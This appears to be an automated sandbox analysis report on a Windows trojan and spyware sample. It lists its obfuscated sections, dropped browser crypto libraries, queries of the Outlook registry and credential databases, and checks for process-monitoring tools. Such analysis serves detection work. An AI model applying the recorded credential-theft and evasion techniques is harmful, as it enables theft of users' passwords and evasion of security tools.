Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F0B97	0_2_012F0B97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FC2CF	0_2_012FC2CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01254DB8	0_2_01254DB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01301439	0_2_01301439
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F3C42	0_2_012F3C42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F5FCD	0_2_012F5FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FDE21	0_2_012FDE21
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01302EED	0_2_01302EED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD35A0	0_2_6CAD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB334A0	0_2_6CB334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C4A0	0_2_6CB3C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16CF0	0_2_6CB16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD4E0	0_2_6CADD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE64C0	0_2_6CAE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD4D0	0_2_6CAFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4542B	0_2_6CB4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15C10	0_2_6CB15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22C10	0_2_6CB22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC00	0_2_6CB4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4545C	0_2_6CB4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5440	0_2_6CAE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB385F0	0_2_6CB385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10DD0	0_2_6CB10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00512	0_2_6CB00512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFD00	0_2_6CAEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFED10	0_2_6CAFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34EA0	0_2_6CB34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E680	0_2_6CB3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5E90	0_2_6CAF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB476E3	0_2_6CB476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBEF0	0_2_6CADBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFEF0	0_2_6CAEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39E30	0_2_6CB39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17E10	0_2_6CB17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25600	0_2_6CB25600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46E63	0_2_6CB46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC670	0_2_6CADC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB13E50	0_2_6CB13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4640	0_2_6CAF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22E4E	0_2_6CB22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E50	0_2_6CAF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB277A0	0_2_6CB277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06FF0	0_2_6CB06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADDFE0	0_2_6CADDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17710	0_2_6CB17710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9F00	0_2_6CAE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB060A0	0_2_6CB060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0E0	0_2_6CAFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB158E0	0_2_6CB158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB450C7	0_2_6CB450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B820	0_2_6CB1B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24820	0_2_6CB24820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE7810	0_2_6CAE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F070	0_2_6CB1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8850	0_2_6CAF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD850	0_2_6CAFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D9B0	0_2_6CB0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC9A0	0_2_6CADC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15190	0_2_6CB15190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32990	0_2_6CB32990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B970	0_2_6CB2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B170	0_2_6CB4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED960	0_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA940	0_2_6CAFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42AB0	0_2_6CB42AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD22A0	0_2_6CAD22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04AA0	0_2_6CB04AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAECAB0	0_2_6CAECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4BA90	0_2_6CB4BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1E2F0	0_2_6CB1E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1AF0	0_2_6CAF1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18AC0	0_2_6CB18AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19A60	0_2_6CB19A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF380	0_2_6CADF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB453C8	0_2_6CB453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D320	0_2_6CB1D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC370	0_2_6CAEC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5340	0_2_6CAD5340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F345C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB0CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2483368516.000000006CD55000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uopfehhk ZLIB complexity 0.995080843419062

Source: file.exe, 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: o.slnl
Source: file.exe, 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2229140448.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB37030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F48680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00F48680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F43720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00F43720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\HV0MQX4C.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2325621306.000000001D4E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2311565347.000000001D4C8000.00000004.00000020.00020000.00000000.sdmp, DAKFCGIJKJKFHIDHIIIE.0.dr, GCBGCGHDGIEGCBFIEGCB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2482748524.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 57%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1848832 > 1048576

Source: file.exe

Static PE information: Raw size of uopfehhk is bigger than: 0x100000 < 0x19d200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2483245315.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uopfehhk:EW;peacmhdg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uopfehhk:EW;peacmhdg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F49860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00F49860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c4a5a should be: 0x1c6879

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uopfehhk
Source: file.exe	Static PE information: section name: peacmhdg
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0141F15F push 0104AE34h; mov dword ptr [esp], esi	0_2_0141F1B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CD912 push esi; mov dword ptr [esp], ebp	0_2_013CD93D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138490A push 47464E8Fh; mov dword ptr [esp], ecx	0_2_0138493A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138490A push ebp; mov dword ptr [esp], esp	0_2_013849BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137C904 push edi; mov dword ptr [esp], esp	0_2_0137C94E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push eax; mov dword ptr [esp], ecx	0_2_012FFA3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 7FBCDCD0h; mov dword ptr [esp], ecx	0_2_012FFA8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ecx; mov dword ptr [esp], 7C7DF9F4h	0_2_012FFAB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push edx; mov dword ptr [esp], edi	0_2_012FFAE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 6B51167Bh; mov dword ptr [esp], edi	0_2_012FFB06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ebx; mov dword ptr [esp], edx	0_2_012FFB6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 4A86D432h; mov dword ptr [esp], ecx	0_2_012FFBE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push edx; mov dword ptr [esp], ebx	0_2_012FFCB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ecx; mov dword ptr [esp], ebx	0_2_012FFCCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push eax; mov dword ptr [esp], edx	0_2_012FFD9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push edx; mov dword ptr [esp], eax	0_2_012FFDF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push eax; mov dword ptr [esp], ebp	0_2_012FFDFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push eax; mov dword ptr [esp], edi	0_2_012FFE3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 5B436E33h; mov dword ptr [esp], edi	0_2_012FFE5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 5A918DA5h; mov dword ptr [esp], eax	0_2_012FFE86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ebp; mov dword ptr [esp], edx	0_2_012FFE8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ecx; mov dword ptr [esp], 6BBC4046h	0_2_012FFEBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 359011B6h; mov dword ptr [esp], edx	0_2_012FFF0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 1B477543h; mov dword ptr [esp], edx	0_2_012FFFF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push 779245F6h; mov dword ptr [esp], ebx	0_2_0130004F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push esi; mov dword ptr [esp], 33D56017h	0_2_0130006B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ebx; mov dword ptr [esp], edx	0_2_0130008A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ebp; mov dword ptr [esp], 275997A8h	0_2_013000E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push edx; mov dword ptr [esp], 768F650Dh	0_2_0130010C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push esi; mov dword ptr [esp], 3BBF54BDh	0_2_01300211
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977 push ecx; mov dword ptr [esp], edx	0_2_01300235

Source: file.exe

Static PE information: section name: uopfehhk entropy: 7.9546102104307685

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00F49860

Malware Analysis System Evasion

